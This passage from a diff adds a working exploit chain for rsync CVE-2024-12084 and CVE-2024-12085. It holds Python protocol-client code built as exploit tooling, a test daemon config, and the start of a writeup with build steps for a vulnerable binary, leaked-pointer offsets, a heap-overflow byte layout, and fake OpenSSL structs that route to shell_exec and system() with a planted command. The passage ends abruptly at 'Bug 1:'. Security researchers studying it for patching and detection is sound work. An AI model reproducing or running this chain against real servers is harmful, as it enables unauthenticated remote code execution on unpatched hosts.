subprocess +import functools + +# --------------------------------------------------------------------------- +# Constants +# --------------------------------------------------------------------------- + +MPLEX_BASE = 7 +MSG_DATA = 0 +MSG_DELETE = 101 +MSG_EXIT = 86 +TAG_SHIFT = 24 + +NDX_DONE = -1 + +ITEM_TRANSFER_FLAG = 1 << 15 +ITEM_BASIS_TYPE_FOLLOWS = 1 << 11 +ITEM_XNAME_FOLLOWS = 1 << 12 + +FNAMECMP_FNAME = 0x80 +FNAMECMP_FUZZY = 0x83 + +S_IFMT = 0o170000 +S_IFDIR = 0o040000 +S_IFREG = 0o100000 +S_IFLNK = 0o120000 + +XMIT_SAME_MODE = 1 << 1 +XMIT_SAME_NAME = 1 << 5 +XMIT_LONG_NAME = 1 << 6 +XMIT_SAME_TIME = 1 << 7 +XMIT_HLINKED = 1 << 9 +XMIT_HLINKED_FIRST = 1 << 12 +XMIT_MOD_NSEC = 1 << 13 + +CHUNK_SIZE = 32 * 1024 + +# Deflate token constants +DEFLATED_DATA = 0x40 +TOKEN_REL = 0x80 + +# Receive deflate states +R_INIT, R_IDLE, R_RUNNING, R_INFLATING, R_INFLATED = range(5) + +# Varint extra-byte lookup table (from rsync io.c) +INT_BYTE_EXTRA = [ + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, + 2,2,2,2,2,2,2,2,3,3,3,3,4,4,5,6, +] + +# NDX prev-pointer indices +_PREV_NEGATIVE = 0 +_PREV_POSITIVE = 1 + + +# --------------------------------------------------------------------------- +# Utility functions +# --------------------------------------------------------------------------- + +def is_dir(mode): + return (mode & S_IFMT) == S_IFDIR + +def is_reg(mode): + return (mode & S_IFMT) == S_IFREG + +def is_symlink(mode): + return (mode & S_IFMT) == S_IFLNK + + +def adler32_rsync(data): + """Rsync's custom Adler32 checksum (differs from zlib's).""" + s1 = 0 + s2 = 0 + i = 0 + n = len(data) + while i < n - 3: + s2 += (4 * (s1 + data[i]) + 3 * data[i+1] + + 2 * data[i+2] + data[i+3]) + s1 += data[i] + data[i+1] + data[i+2] + data[i+3] + s1 &= 0xFFFFFFFF + s2 &= 0xFFFFFFFF + i += 4 + while i < n: + s1 += data[i] + s2 += s1 + s1 &= 0xFFFFFFFF + s2 &= 0xFFFFFFFF + i += 1 + return ((s1 & 0xFFFF) + (s2 << 16)) & 0xFFFFFFFF + + +def filepath_dir(path): + """Match Go's filepath.Dir behavior.""" + d = os.path.dirname(path) + return d if d else '.' + +def filepath_base(path): + """Match Go's filepath.Base behavior.""" + while path.endswith('/') and len(path) > 1: + path = path[:-1] + b = os.path.basename(path) + return b if b else '.' + + +# --------------------------------------------------------------------------- +# f_name_cmp (ctypes wrapper around the C implementation) +# --------------------------------------------------------------------------- + +def _load_fnamecmp(): + """Try to load or build the f_name_cmp shared library.""" + lib_dir = os.path.dirname(os.path.abspath(__file__)) + lib_path = os.path.join(lib_dir, 'libfnamecmp.so') + src_path = os.path.join(lib_dir, 'pkg', 'client', 'native_funcs.c') + if not os.path.exists(lib_path) and os.path.exists(src_path): + try: + subprocess.check_call( + ['gcc', '-shared', '-fPIC', '-o', lib_path, src_path], + stderr=subprocess.DEVNULL) + except Exception: + return None + if os.path.exists(lib_path): + lib = ctypes.CDLL(lib_path) + lib.f_name_cmp.argtypes = [ + ctypes.c_char_p, ctypes.c_char_p, + ctypes.c_char_p, ctypes.c_char_p, + ctypes.c_int, ctypes.c_int, ctypes.c_int, + ] + lib.f_name_cmp.restype = ctypes.c_int + return lib + return None + +_fnamecmp_lib = _load_fnamecmp() + + +def f_name_cmp(name1, name2, mode1, mode2, protocol_version=31): + """Compare two file names the way rsync sorts its file lists.""" + if _fnamecmp_lib is not None: + return _fnamecmp_lib.f_name_cmp( + filepath_dir(name1).encode(), filepath_dir(name2).encode(), + filepath_base(name1).encode(), filepath_base(name2).encode(), + int(mode1), int(mode2), protocol_version) + return _f_name_cmp_py(name1, name2, mode1, mode2, protocol_version) + + +def _f_name_cmp_py(name1, name2, mode1, mode2, pv=31): + """Pure-Python fallback for f_name_cmp (faithful port of flist.c).""" + _S_DIR, _S_SLASH, _S_BASE, _S_TRAILING = 0, 1, 2, 3 + _T_PATH, _T_ITEM = 0, 1 + _t_path = _T_PATH if pv >= 29 else _T_ITEM + + d1, d2 = filepath_dir(name1), filepath_dir(name2) + b1, b2 = filepath_base(name1), filepath_base(name2) + + def ch(s, i): + return s[i] if i < len(s) else '\0' + + c1s, c1i, st1, ty1 = d1, 0, _S_DIR, _t_path + c2s, c2i, st2, ty2 = d2, 0, _S_DIR, _t_path + + if ty1 != ty2: + return 1 if ty1 == _T_PATH else -1 + + while True: + # --- handle end of c1 --- + if ch(c1s, c1i) == '\0': + if st1 == _S_DIR: + st1, c1s, c1i = _S_SLASH, "/", 0 + elif st1 == _S_SLASH: + ty1 = _t_path if is_dir(mode1) else _T_ITEM + c1s, c1i = b1, 0 + if ty1 == _T_PATH and b1 == ".": + ty1, st1, c1s, c1i = _T_ITEM, _S_TRAILING, "", 0 + else: + st1 = _S_BASE + elif st1 == _S_BASE: + st1 = _S_TRAILING + if ty1 == _T_PATH: + c1s, c1i = "/", 0 + else: + ty1 = _T_ITEM + else: # S_TRAILING + ty1 = _T_ITEM + if ch(c2s, c2i) != '\0' and ty1 != ty2: + return 1 if ty1 == _T_PATH else -1 + + # --- handle end of c2 --- + if ch(c2s, c2i) == '\0': + if st2 == _S_DIR: + st2, c2s, c2i = _S_SLASH, "/", 0 + elif st2 == _S_SLASH: + ty2 = _t_path if is_dir(mode2) else _T_ITEM + c2s, c2i = b2, 0 + if ty2 == _T_PATH and b2 == ".": + ty2, st2, c2s, c2i = _T_ITEM, _S_TRAILING, "", 0 + else: + st2 = _S_BASE + elif st2 == _S_BASE: + st2 = _S_TRAILING + if ty2 == _T_PATH: + c2s, c2i = "/", 0 + else: + if ch(c1s, c1i) == '\0': + return 0 + ty2 = _T_ITEM + else: # S_TRAILING + if ch(c1s, c1i) == '\0': + return 0 + ty2 = _T_ITEM + if ty1 != ty2: + return 1 if ty1 == _T_PATH else -1 + + # --- compare and advance --- + v1 = ord(ch(c1s, c1i)) if ch(c1s, c1i) != '\0' else 0 + v2 = ord(ch(c2s, c2i)) if ch(c2s, c2i) != '\0' else 0 + c1i += 1 + c2i += 1 + d = v1 - v2 + if d != 0: + return d + if v1 == 0: + return 0 + + +# --------------------------------------------------------------------------- +# Standalone encoding helpers (used by poc_fileread's raw server) +# --------------------------------------------------------------------------- + +def make_msg_data(data, tag=MSG_DATA): + """Wrap *data* in a multiplexed message with the given tag.""" + tl = ((tag + MPLEX_BASE) << TAG_SHIFT) | len(data) + return struct.pack(' 1 and buf[cnt] == 0: + cnt -= 1 + bit = 1 << (8 - cnt) + if buf[cnt] >= bit: + cnt += 1 + buf[0] = (~(bit - 1)) & 0xFF + elif cnt > 1: + buf[0] = buf[cnt] | ((~(bit * 2 - 1)) & 0xFF) + else: + buf[0] = buf[1] + return bytes(buf[:cnt]) + + +# --------------------------------------------------------------------------- +# RsyncConnection +# --------------------------------------------------------------------------- + +class RsyncConnection: + """Bidirectional rsync protocol handler over a TCP socket.""" + + def __init__(self, sock, protocol_version=31, module='', + digest='', digest_len=0): + self.sock = sock + self.protocol_version = protocol_version + self.module = module + self.digest = digest + self.digest_len = digest_len + + self.out_multiplexed = False + self.in_multiplexed = False + self._inbuf = b'' + + self.prev_positive_outbound = -1 + self.prev_negative_outbound = -1 + self.prev_positive_inbound = -1 + self.prev_negative_inbound = -1 + + self.residue = 0 + + # deflate token state + self._recv_state = R_INIT + self._rx_token = 0 + self._saved_flag = 0 + + def close(self): + try: + self.sock.close() + except Exception: + pass + + # --- low-level socket helpers --- + + def _recv_exact(self, n): + buf = b'' + while len(buf) < n: + chunk = self.sock.recv(n - len(buf)) + if not chunk: + raise ConnectionError("connection closed") + buf += chunk + return buf + + # --- read / write with multiplexing --- + + def read(self, n): + if not self.in_multiplexed: + return self._recv_exact(n) + if len(self._inbuf) >= n: + data, self._inbuf = self._inbuf[:n], self._inbuf[n:] + return data + saved = True + self.in_multiplexed = False + while True: + raw_tag = self.read_int() + msg_tag = ((raw_tag >> TAG_SHIFT) - MPLEX_BASE) + msg_bytes = raw_tag & 0xFFFFFF + if msg_bytes == 0: + continue + if msg_tag == MSG_DATA: + self._inbuf += self._recv_exact(msg_bytes) + if len(self._inbuf) >= n: + data, self._inbuf = self._inbuf[:n], self._inbuf[n:] + break + else: + self._recv_exact(msg_bytes) # consume non-data + self.in_multiplexed = saved + return data + + def write(self, data): + if not self.out_multiplexed: + self.sock.sendall(data) + return + self.out_multiplexed = False + self._write_msg_data(data) + self.out_multiplexed = True + + def _write_msg_data(self, data): + if len(data) > 0xFFFFFF: + raise ValueError(f"data too long: {len(data)}") + tag = ((MSG_DATA + MPLEX_BASE) << TAG_SHIFT) | len(data) + self.write_raw_int(tag) + self.sock.sendall(data) + + def write_bulk(self, data): + """Write a pre-built bytes blob as a single multiplexed MSG_DATA. + Use this to avoid thousands of tiny syscalls when sending large + payloads (e.g. checksum arrays).""" + if not self.out_multiplexed: + self.sock.sendall(data) + return + # Split into <=16 MB chunks (MSG_DATA length limit is 0xFFFFFF) + off = 0 + while off < len(data): + chunk = data[off:off + 0xFFFFFF] + tag = ((MSG_DATA + MPLEX_BASE) << TAG_SHIFT) | len(chunk) + hdr = struct.pack(' 0: + bit = 1 << (8 - extra) + for i in range(extra): + buf[i] = self.read_byte() + buf[extra] = ch & (bit - 1) + else: + buf[0] = ch + return struct.unpack_from(' 1 and buf[cnt] == 0: + cnt -= 1 + bit = 1 << (8 - cnt) + if buf[cnt] >= bit: + cnt += 1 + buf[0] = (~(bit - 1)) & 0xFF + elif cnt > 1: + buf[0] = buf[cnt] | ((~(bit * 2 - 1)) & 0xFF) + else: + buf[0] = buf[1] + self.write(bytes(buf[:cnt])) + + # --- variable-length long --- + + def read_var_long(self, min_bytes): + b = bytearray(9) + b2 = bytearray(8) + raw = self.read(min_bytes) + for i in range(min_bytes): + b2[i] = raw[i] + for i in range(min_bytes - 1): + b[i] = b2[i + 1] + extra = INT_BYTE_EXTRA[b2[0] // 4] + if extra > 0: + bit = 1 << (8 - extra) + ext = self.read(extra) + for i in range(extra): + b[min_bytes - 1 + i] = ext[i] + b[min_bytes + extra - 1] = b2[0] & (bit - 1) + else: + b[min_bytes + extra - 1] = b2[0] + return struct.unpack_from(' 0x7F: + hdr.append((slen // 0x100) + 0x80) + hdr.append(slen & 0xFF) + self.write(bytes(hdr) + data) + + # --- NDX (byte-reduced index) --- + + def _get_prev_inbound(self, ptr): + if ptr == _PREV_POSITIVE: + return self.prev_positive_inbound + return self.prev_negative_inbound + + def _set_prev_inbound(self, ptr, val): + if ptr == _PREV_POSITIVE: + self.prev_positive_inbound = val + else: + self.prev_negative_inbound = val + + def write_ndx(self, ndx): + if self.protocol_version < 30: + return self.write_raw_int(ndx) + b = bytearray(6) + cnt = 0 + if ndx >= 0: + diff = ndx - self.prev_positive_outbound + self.prev_positive_outbound = ndx + elif ndx == NDX_DONE: + return self.write_byte(0) + else: + b[cnt] = 0xFF; cnt += 1 + ndx = -ndx + diff = ndx - self.prev_negative_outbound + self.prev_negative_outbound = ndx + if 0 < diff < 0xFE: + b[cnt] = diff & 0xFF; cnt += 1 + elif diff < 0 or diff > 0x7FFF: + b[cnt] = 0xFE; cnt += 1 + b[cnt] = ((ndx >> 24) & 0xFF) | 0x80; cnt += 1 + b[cnt] = ndx & 0xFF; cnt += 1 + b[cnt] = (ndx >> 8) & 0xFF; cnt += 1 + b[cnt] = (ndx >> 16) & 0xFF; cnt += 1 + else: + b[cnt] = 0xFE; cnt += 1 + b[cnt] = (diff >> 8) & 0xFF; cnt += 1 + b[cnt] = diff & 0xFF; cnt += 1 + self.write(bytes(b[:cnt])) + + def read_ndx(self): + if self.protocol_version < 30: + return self.read_int() + b = self.read_byte() + if b == 0xFF: + b = self.read_byte() + prev_ptr = _PREV_NEGATIVE + elif b == 0: + return NDX_DONE + else: + prev_ptr = _PREV_POSITIVE + if b == 0xFE: + b0 = self.read_byte() + b1 = self.read_byte() + if b0 & 0x80: + buf = bytearray(4) + buf[3] = b0 & 0x80 + buf[0] = b1 + buf[1] = self.read_byte() + buf[2] = self.read_byte() + num = struct.unpack_from('>= 6 + else: + self._rx_token = self.read_int() + + return -1 - self._rx_token, b'' + + # --- protocol setup (client side) --- + + def setup_protocol(self): + """Exchange compat flags, digest negotiation, and seed.""" + self.read_var_int() # compat flags + self.read_vstring() # server digest list + self.write_vstring(self.digest) # our choice + self.read_int() # checksum seed + self.in_multiplexed = True + self.out_multiplexed = True + + # --- file list (client side, receiving from server) --- + + def read_file_list(self): + """Read and sort a file list from the server.""" + prev_mode = 0 + lastname = '' + result = [] + + while True: + flags = self.read_var_int() + if flags == 0: + err_code = self.read_var_int() + if err_code: + raise RuntimeError(f"server error in file list: {err_code}") + break + + l1 = 0 + if flags & XMIT_SAME_NAME: + l1 = self.read_byte() + if flags & XMIT_LONG_NAME: + l2 = self.read_varint30() + else: + l2 = self.read_byte() + + name_bytes = self.read(l2) + name = lastname[:l1] + name_bytes.decode('latin-1') + lastname = name + + if (self.protocol_version >= 30 and + (flags & (XMIT_HLINKED | XMIT_HLINKED_FIRST)) == XMIT_HLINKED): + self.read_var_int() + + file_length = self.read_var_long30(3) + + if not (flags & XMIT_SAME_TIME): + if self.protocol_version >= 30: + self.read_var_long30(4) + else: + self.read_int() + + if flags & XMIT_MOD_NSEC: + self.read_var_int() + + mode = prev_mode + if not (flags & XMIT_SAME_MODE): + mode = self.read_int() + prev_mode = mode + + digest = None + if is_reg(mode): + digest = self.read(self.digest_len) + + if is_reg(mode) or is_dir(mode): + result.append(File(name=name, size=file_length, + mode=mode, digest=digest)) + + if len(result) <= 1: + raise RuntimeError("No files on server or got recursive list") + + result.sort(key=functools.cmp_to_key( + lambda a, b: f_name_cmp(a.name, b.name, a.mode, b.mode, + self.protocol_version))) + return result + + # --- download a single file --- + + def download_file(self, file_ndx, file_entry): + """Download a file and return its contents.""" + self.write_ndx(file_ndx) + self.write_short_int(ITEM_TRANSFER_FLAG) + # sum head: count=0, blength=filesize, s2length=digestlen, remainder=5 + self.write_raw_int(0) + self.write_raw_int(file_entry.size) + self.write_raw_int(self.digest_len) + self.write_raw_int(5) + # read echo + self.read_ndx() + self.read_short_int() + self.read_int() # count + self.read_int() # blength + self.read_int() # s2length + self.read_int() # remainder + # receive tokens + result = bytearray() + while True: + n, buf = self.receive_token() + sn = struct.unpack('= 128 else x + s1 = s2 = 0 + n = len(data) + i = 0 + while i < n - 4: # exact match for `i < (len-4)` in C + b0, b1, b2, b3 = sb(data[i]), sb(data[i+1]), sb(data[i+2]), sb(data[i+3]) + s2 += 4*(s1 + b0) + 3*b1 + 2*b2 + b3 + s1 += b0 + b1 + b2 + b3 + i += 4 + while i < n: + s1 += sb(data[i]) + s2 += s1 + i += 1 + return ((s1 & 0xffff) | ((s2 & 0xffff) << 16)) & 0xffffffff + + +FileEntry = namedtuple('FileEntry', 'name mode size mtime') + + +# ── Connection ─────────────────────────────────────────────────────── +class RsyncConn: + def __init__(self, sock, module, csum_choice): + self.sock = sock + self.module = module + self.csum_choice = csum_choice + self.in_multiplexed = False + self.out_multiplexed = False + self.compat_flags = 0 + self.checksum_seed = 0 + # input buffering for multiplexed reads + self._mux_buf = b'' + # ndx encoding state + self._wprev_pos = -1 + self._wprev_neg = 1 + self._rprev_pos = -1 + self._rprev_neg = 1 + + # ── raw socket I/O ────────────────────────────────────────────── + def _raw_send(self, data): + self.sock.sendall(data) + + def _raw_recv(self, n): + out = b'' + while len(out) < n: + chunk = self.sock.recv(n - len(out)) + if not chunk: + raise ConnectionError("connection closed") + out += chunk + return out + + def _raw_recv_line(self): + out = b'' + while True: + c = self.sock.recv(1) + if not c or c == b'\n': + break + if c != b'\r': + out += c + return out.decode('latin-1') + + # ── pre-multiplex line/string output ──────────────────────────── + def write_line(self, s): + """Send a NULL-terminated string. Used for args (raw) AND filters (mux). + rsync daemon args use \\0 terminators, NOT \\n. Filters too.""" + data = s.encode('latin-1') + b'\x00' + if self.out_multiplexed: + self._mux_send(data) + else: + self._raw_send(data) + + # ── multiplexed output ────────────────────────────────────────── + def _mux_send(self, payload, tag=MSG_DATA): + """Wrap payload in MSG_DATA multiplexing header.""" + if not self.out_multiplexed: + self._raw_send(payload) + return + # Header: 4 bytes little-endian: low 24 bits = length, high 8 = tag+MPLEX_BASE + # Send in chunks <= 0xFFFFFF + i = 0 + while i < len(payload): + chunk = payload[i:i+0x4000] + hdr = struct.pack(' 0x7F: + hdr = bytes([(n >> 8) | 0x80, n & 0xff]) + else: + hdr = bytes([n]) + self._mux_send(hdr + b) + + def write_ndx(self, ndx): + """write_ndx (io.c:2242). Diff-encoded against previous positive.""" + # NDX_DONE (= -1) sent as single 0 byte + if ndx == -1: + self._mux_send(b'\x00') + return + if ndx >= 0: + diff = ndx - self._wprev_pos + self._wprev_pos = ndx + prefix = b'' + else: + prefix = b'\xff' + ndx = -ndx + diff = ndx - self._wprev_neg + self._wprev_neg = ndx + if 0 < diff < 0xFE: + self._mux_send(prefix + bytes([diff])) + elif diff < 0 or diff > 0x7FFF: + self._mux_send(prefix + bytes([0xFE, + (ndx >> 24) | 0x80, + ndx & 0xff, + (ndx >> 8) & 0xff, + (ndx >> 16) & 0xff])) + else: + self._mux_send(prefix + bytes([0xFE, + (diff >> 8) & 0xff, + diff & 0xff])) + + # ── multiplexed input ─────────────────────────────────────────── + def _mux_read(self, n): + """Read n bytes of MSG_DATA payload, buffering across mux frames.""" + if not self.in_multiplexed: + return self._raw_recv(n) + while len(self._mux_buf) < n: + hdr = struct.unpack('> 24) - MPLEX_BASE + length = hdr & 0xFFFFFF + payload = self._raw_recv(length) if length else b'' + if tag == MSG_DATA: + self._mux_buf += payload + elif tag in (1, 2, 3): # MSG_INFO, MSG_ERROR, MSG_ERROR_XFER + # Print and continue + import sys + sys.stderr.write(f"[server msg{tag}] {payload.decode('latin-1', 'replace')}") + else: + # ignore other message types + pass + out, self._mux_buf = self._mux_buf[:n], self._mux_buf[n:] + return out + + def read_byte(self): + return self._mux_read(1)[0] + + def read_int(self): + return struct.unpack('> 2] + if extra: + bit = 1 << (8 - extra) + if extra >= 5: + raise ValueError("varint overflow") + u[:extra] = self._mux_read(extra) + u[extra] = ch & (bit - 1) + else: + u[0] = ch + v = struct.unpack('> 2] + if extra: + bit = 1 << (8 - extra) + if min_bytes + extra > 9: + raise ValueError("varlong overflow") + u[min_bytes-1:min_bytes-1+extra] = self._mux_read(extra) + u[min_bytes-1+extra] = ch & (bit - 1) + else: + u[min_bytes-1] = ch + return struct.unpack('=30 → varlong min_bytes=3) + size = self.read_varlong(3) + + # Modtime + if not (xflags & XMIT_SAME_TIME): + lastmtime = self.read_varlong(4) + mtime = lastmtime + if xflags & XMIT_MOD_NSEC: + self.read_varint() # discard + + # Mode + if not (xflags & XMIT_SAME_MODE): + lastmode = self.read_int() + # from_wire_mode is identity for normal mode bits on linux + mode = lastmode + + # We disabled atimes/crtimes/uid/gid/devices/specials/links/hardlinks/acls + # so nothing else to read for those. + + # Checksum (only for regular files when --checksum was sent) + if is_reg(mode): + self._mux_read(file_sum_len) # discard + + files.append(FileEntry(name, mode, size, mtime)) + + # Server calls flist_sort_and_clean AFTER sending. The ndx we send back + # references the SORTED order. rsync's f_name_cmp ≈ strcmp on path; for + # a flat directory, Python's bytewise string sort matches. + files.sort(key=lambda f: f.name.encode('latin-1')) + return files + + # ── download a file (Phase 1 setup) ───────────────────────────── + def download_file(self, ndx, file_entry): + """ + Request a file with empty checksums (force full transfer). + Returns the file content. No compression. + """ + # Send: ndx, iflags, sum_head with count=0 + self.write_ndx(ndx) + self.write_short_int(ITEM_TRANSFER_FLAG) + self.write_raw_int(0) # count=0 + self.write_raw_int(0) # blength=0 + self.write_raw_int(0) # s2length=0 + self.write_raw_int(0) # remainder=0 + + # Server echoes ndx + iflags + self.read_ndx() + self.read_short_int() + # Server echoes sum_head + self.read_int(); self.read_int(); self.read_int(); self.read_int() + + # Server now sends data via simple_send_token format (no compression): + # while (token = read_int()) > 0: read_buf(token bytes) + # token <= 0 → done (or matched, but with count=0 there are no matches) + data = b'' + while True: + tok = self.read_int() + if tok <= 0: + break + data += self._mux_read(tok) + # File checksum trailer (file_sum_len bytes from sum_end) + csum_lens = {'xxh64': 8, 'xxh3': 8, 'xxh128': 16, 'sha1': 20, + 'md5': 16, 'md4': 16} + file_sum_len = csum_lens.get(self.csum_choice, 16) + self._mux_read(file_sum_len) + # Need to send NDX_DONE to signal we're done with this phase + # (but exploit closes connection after, so might not be needed) + return data + + # ── deflate token (Phase 1 oracle) ────────────────────────────── + def receive_deflate_token(self): + """ + Read ONE deflate token signal. Returns (signal, data). + signal < 0 → matched a block (TOKEN). signal >= 0 → data (no match). + We only care about the FIRST signal as the oracle. + """ + flag = self.read_byte() + if flag == 0: # END_FLAG + return 0, b'' + if (flag & 0xC0) == 0x40: # DEFLATED_DATA + n = ((flag & 0x3f) << 8) | self.read_byte() + payload = self._mux_read(n) + return n, payload # n > 0 → no match + if flag & 0x80: # TOKEN_REL + tok = flag & 0x3f + return -1 - tok, b'' # negative → match! + if flag in (0x20, 0x21): # TOKEN_LONG / TOKENRUN_LONG + tok = self.read_int() + return -1 - tok, b'' # negative → match! + # Unknown flag — treat as no-match + return flag, b'' + + def close(self): + try: + self.sock.close() + except: + pass + + +# ── Public API ─────────────────────────────────────────────────────── +def connect(url, proto_ver, csum_choice): + """ + Connect to rsync daemon and complete handshake up through args. + The caller must then call setup_protocol() after sending args. + + url: rsync://host:port/module + proto_ver: '31' (string) + csum_choice: transfer checksum to negotiate ('xxh64' or 'sha1') + """ + p = urllib.parse.urlparse(url) + host = p.hostname + port = p.port or 873 + module = p.path.lstrip('/').rstrip('/') or 'files' + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(30) + sock.connect((host, port)) + + rc = RsyncConn(sock, module, csum_choice) + + # 1. Server greeting: "@RSYNCD: 31.0 \n" + greeting = rc._raw_recv_line() + # 2. Send our greeting. The auth checksum here is for daemon auth, NOT + # transfer. We pick md5 (always supported). The transfer checksum + # (csum_choice) is negotiated later in setup_protocol. + rc._raw_send(f"@RSYNCD: {proto_ver}.0 md5\n".encode()) + # 3. Send module name + rc._raw_send((module + '\n').encode()) + # 4. Read responses until "@RSYNCD: OK" + while True: + line = rc._raw_recv_line() + if line == '@RSYNCD: OK': + break + if line.startswith('@ERROR'): + raise RuntimeError(f"daemon error: {line}") + if line.startswith('@RSYNCD: EXIT'): + raise RuntimeError("daemon EXIT") + # otherwise: motd or other info, ignore + + # 5. Caller now sends args via write_line(), terminated by write_line('') + return rc diff --git a/MADBugs/rsync/rsyncd_test.conf b/MADBugs/rsync/rsyncd_test.conf new file mode 100644 index 0000000..87792d6 --- /dev/null +++ b/MADBugs/rsync/rsyncd_test.conf @@ -0,0 +1,6 @@ +log file = /tmp/rsync_daemon.log +pid file = /tmp/rsync_daemon.pid +[files] + path = /tmp/rsync_test_module + read only = true + use chroot = false diff --git a/MADBugs/rsync/writeup.md b/MADBugs/rsync/writeup.md new file mode 100644 index 0000000..170419b --- /dev/null +++ b/MADBugs/rsync/writeup.md @@ -0,0 +1,610 @@ +# Rsync CVE-2024-12084 + CVE-2024-12085 — Unauthenticated RCE Writeup + +Based on the Phrack 72 article "Desync the Planet" by Simon Scannell, +Pedro Gallegos, and Jasiel Spelman. This documents the full process of +getting the exploit chain working on our target system, including all +the debugging steps, dead ends, and system-specific adaptations. + +--- + +## 0. Environment + +| Component | Detail | +|------------------|--------| +| Target binary | rsync 3.2.7, compiled from upstream source | +| OS | Ubuntu 22.04.3 LTS, kernel 6.8 | +| glibc | 2.35-0ubuntu3.13 | +| OpenSSL | 3.0.2 | +| Arch | x86-64 | +| Protections | Full ASLR, PIE, NX, Full RELRO, stack canaries | +| MAX_DIGEST_LEN | 64 (SHA512_DIGEST_LENGTH) | +| SUM_LENGTH | 16 (fixed in `struct sum_buf`) | +| Overflow window | 64 - 16 = **48 bytes** per sum_buf entry | + +The system rsync (`3.2.7-0ubuntu0.22.04.4`) has all CVEs backported. +We built upstream 3.2.7 from source to get a vulnerable binary at +`/tmp/rsync-3.2.7/rsync`. + +### Building rsync 3.2.7 + +```bash +cd /tmp +wget https://download.samba.org/pub/rsync/src/rsync-3.2.7.tar.gz +tar xzf rsync-3.2.7.tar.gz +cd rsync-3.2.7 +./configure --with-openssl --disable-xxhash # or --enable-xxhash +make +``` + +### Daemon setup + +```bash +mkdir -p /tmp/rsync_test_module +echo "hello world" > /tmp/rsync_test_module/foo.txt +echo "test data" > /tmp/rsync_test_module/bar.txt + +cat > /tmp/rsyncd_test.conf << 'EOF' +log file = /tmp/rsync_daemon.log +[files] + path = /tmp/rsync_test_module + read only = true + use chroot = false +EOF + +/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000 +``` + +Confirm vulnerability via banner: +``` +$ echo "" | nc 127.0.0.1 12000 +@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4 +``` + +Protocol 31 + SHA512 in the auth list confirms MAX_DIGEST_LEN = 64. + +### Key binary offsets + +Extract with `nm`: +```bash +nm /tmp/rsync-3.2.7/rsync | grep -E " (T|B) (shell_exec|ctx_evp|set_compression)$" +``` + +For our build: +``` +CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599 (leaked via info leak) +SHELL_EXEC_OFFSET = 0x2b970 # shell_exec() — calls system(cmd) +CTX_EVP_OFFSET = 0x9dc28 # global EVP_MD_CTX *ctx_evp in .bss +XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items +``` + +These change with every recompilation. You MUST extract them for your +specific binary. + +--- + +## 1. Vulnerability Overview + +### CVE-2024-12085 — Info Leak (ASLR Bypass) + +In `match.c:hash_search()`, a stack buffer `sum2[MAX_DIGEST_LEN]` (64 bytes) +is only partially written by the digest algorithm. The remaining bytes contain +**uninitialized stack data**. An attacker controls `s2length` (up to 64) and +uses the server's match/no-match response as a 1-byte-at-a-time oracle to +leak up to 56 bytes of stack contents. + +With xxhash64 (8-byte digest), offset `sum2+8` on the Phrack target contained +a `.text` pointer — one round of leaking gives the full PIE base. + +### CVE-2024-12084 — Heap Buffer Overflow + +In `sender.c:receive_sums()`, the server reads `s2length` bytes into +`sum2[16]` — overflowing by up to 48 bytes per `sum_buf` entry. By +overflowing the last entry into an adjacent `sum_struct`, the attacker +corrupts `s->sums` (WHERE to write), `s->count` (how many entries), and +`s->s2length` (how many bytes per write), creating an arbitrary +write-what-where primitive. + +--- + +## 2. Exploitation Strategy (Phrack "One-Shot" Approach) + +### High-level flow + +``` +┌─────────────┐ ┌─────────────────┐ ┌──────────────────┐ +│ Info Leak │───>│ Heap Overflow │───>│ RCE Trigger │ +│ (Phase 1) │ │ (Phase 2) │ │ │ +│ │ │ │ │ sum_init() │ +│ Leak .text │ │ Corrupt sums │ │ → EVP_Digest... │ +│ → PIE base │ │ → write to .bss │ │ → freectx() │ +│ │ │ → plant fake │ │ → shell_exec() │ +│ │ │ EVP structs │ │ → system(cmd) │ +└─────────────┘ └─────────────────┘ └──────────────────┘ +``` + +### Phase 2 detail: one-shot .bss write + +After the info leak provides the binary base, Phase 2: + +1. **Heap groom**: Exhaust tcache bins, create a hole via filter rules + so `sum_buf[5]` and `sum_struct` are adjacent on the heap. + +2. **Overflow**: Send `count=5` entries with `s2length=64`. Each entry + overflows 48 bytes. The last entry corrupts `sum_struct`: + - `s->count` = 6 (adds one extra iteration) + - `s->sums` = `&ctx_evp - 222` (redirects array to .bss) + - `s->s2length` = 289 (size of our payload) + +3. **Extra entry**: The 6th iteration reads `sum1` (4B) and `sum2` + (289B) directly to `&ctx_evp`, writing: + +``` +Offset Content .bss global +────── ───────────────────────────────── ────────────────── +0x000 fake_ctx_addr (ctx_evp+8) ctx_evp (overwritten) +0x008 ┌─ fake EVP_MD_CTX (72 bytes) ─┐ + │ +0x08: digest → fake EVP_MD │ file_sum_evp_md + │ +0x18: flags = 0x400 │ file_sum_nni (clobbered) + │ +0x30: xfer_sum_nni (PRESERVED) xfer_sum_nni ← CRITICAL + │ +0x38: algctx → cmd string │ + └──────────────────────────────┘ +0x050 ┌─ fake EVP_MD (~184 bytes) ───┐ + │ +0xb0: freectx = shell_exec │ + └──────────────────────────────┘ +0x108 "touch /tmp/rce_proof.txt\0" sumresidue etc +``` + +4. **Trigger**: After `receive_sums`, the server enters `match_sums` → + `sum_init(xfer_sum_nni, seed)` → `EVP_DigestInit_ex(ctx_evp, ...)`. + Inside OpenSSL: + ``` + ctx->algctx != NULL → ctx->digest->freectx(ctx->algctx) + → shell_exec(cmd_string) + → system("touch /tmp/rce_proof.txt") + ``` + +### Overflow byte layout (64 bytes from last sum2) + +``` +Byte Offset Content Target +──── ────── ─────── ────── +0-15 sum2 checksum data sum_buf[4].sum2 (in-bounds) +16-17 padding don't care struct padding +18-25 chunk hdr 0x31 (48B|PREV_INUSE) sum_struct chunk size field +26-33 flength 0 sum_struct.flength +34-41 sums &ctx_evp - 222 sum_struct.sums (redirect) +42-45 count 6 (original + 1) sum_struct.count +46-49 blength 1337 sum_struct.blength +50-53 remainder 0 sum_struct.remainder +54-57 s2length 289 (payload size) sum_struct.s2length +58-63 padding don't care past sum_struct +``` + +--- + +## 3. Bugs Found and Fixed During Development + +This section documents every issue encountered, how it was diagnosed, +and the fix. This is the most valuable part for anyone porting the +exploit to a new target. + +### Bug 1: 